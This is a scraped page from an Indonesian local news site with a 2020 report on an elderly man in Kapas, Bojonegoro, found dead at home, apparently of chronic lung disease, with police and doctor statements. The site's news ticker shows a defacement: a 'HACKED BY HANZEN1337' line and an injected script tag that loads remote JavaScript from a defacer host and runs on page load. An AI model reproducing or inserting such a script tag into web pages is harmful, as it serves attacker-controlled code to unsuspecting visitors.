News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Kakek Sebatang Kara di Kapas Bojonegoro Ditemukan Meninggal Dalam Kondisi Membusuk

Penemuan Mayat

Kakek Sebatang Kara di Kapas Bojonegoro Ditemukan Meninggal Dalam Kondisi Membusuk

Bojonegoro (Kapas) - Seorang kakek bernama Supardi (89), warga Desa Klampok RT 006 RW 001 Kecamatan Kapas Kabupaten Bojonegoro, yang sehari-hari hidup sebatang kara, pada Selasa (31/03/2020) sekira pukul 16.00 WIB, ditemukan oleh tetangganya meninggal dunia di dalam rumahnya dalam kondisi sudah membusuk.
 
Berdasarkan hasil visum dari tim medis Rumah Sakit Umum Daerah (RSUD) dr R Sosodoro Djatikoesoemo Bojonegoro, penyebab kematian korban akibat penyakit paru-paru menahun yang sudah lama diderita korban kambuh dan tidak ada yang menolong, sehingga korban meninggal dunia.
 
 
Informasi yang didapat awak media ini dari Kapolsek Kapas, Ajun Komisaris Polisi (AKP) Sukirman, bahwa kronologi kejadian tersebut bermula pada Selasa (31/03/2020) sekira pukul 16.00 WIB, saksi Suparno (70) tetangga korban yang rumahnya berada di sebelah utara rumah korban mencium bau tidak enak yang berasal dari dalam rumah korban.
 
Selanjutnya saksi Suparno segera mencari keponakan korban yang bernama Marjani (60) untuk melakukan pengecekan asal dari bau tersebut, dan selanjutnya saksi Marjani atau keponakan korban segera membuka pintu rumah korban yang pada saat itu dalam keadaan tertutup.
 
"Saat pintu rumah korban berhasil dibuka, saksi melihat korban sudah meninggal dunia dalam posisi terlentang dan seluruh badannya dalam kondisi sudah membengkak serta mengeluarkan bau yang kurang sedap," kata Kapolsek.
 
 
 
Selanjutnya kejadian tersebut dilaporkan kepada perangkat desa setempat dan diteruskan ke Polsek Kapas, dan setelah mendapatkan laporan, Kapolsek bersama anggota dan Tim Identifikasi dari Polres Bojonegoro segera mendatangi lokasi kejdian untuk melakukan olah TKP dan mengidentifikasi korban.
 
Menurut Kapolsek, berdasarkan hasil identifikasi diketahui ciri-ciri mayat, jenis kelamin laki-laki, panjang mayat 160 sentimeter, kulit sawo matang, rambut putih karena uban, dan sebagian besar tubuh korban mengalami proses pembusukan serta mengeluarkan bau.
 
“Tidak ditemukan adanya tanda-tanda kekerasan atau penganiayaan pada tubuh korban. Setelah dilakukan olah TKP, jenazah korban kita bawa ke RSUD Bojonegoro untuk dilakukan pemeriksaan lebih lanjut." kata Kapolsek.
 
 
 
Terpisah, menurut keterangan ketua tim medis RSUD dr R Sosodoro Djatikoesoemo Bojonegoro, dokter Supadjar, bahwa berdasarkan hasil visum, korban diperkirakan meninggal kurang dari 5 hari dan tidak ada tanda-tanda kekerasan.
Sementara, penyebab kematian korban diduga akibat penyakit paru-paru yang sudah lama diderita korban kambuh dan tidak ada yang menolong, sehingga korban meninggal dunia.
 
"Tidak ada tanda-tanda kekerasan pada tubuh korban. Menurut keterangan keluarganya, korban memiliki riwayat penyakit paru menahun. Diduga penyakitnya kambuh dan tidak ada yang menolong, sehingga korban meninggal dunia." kata dokter Supadjar. (red/imm)
 
Berita Terkait
1783878472.7519 at start, 1783878473.6198 at end, 0.86784291267395 sec elapsed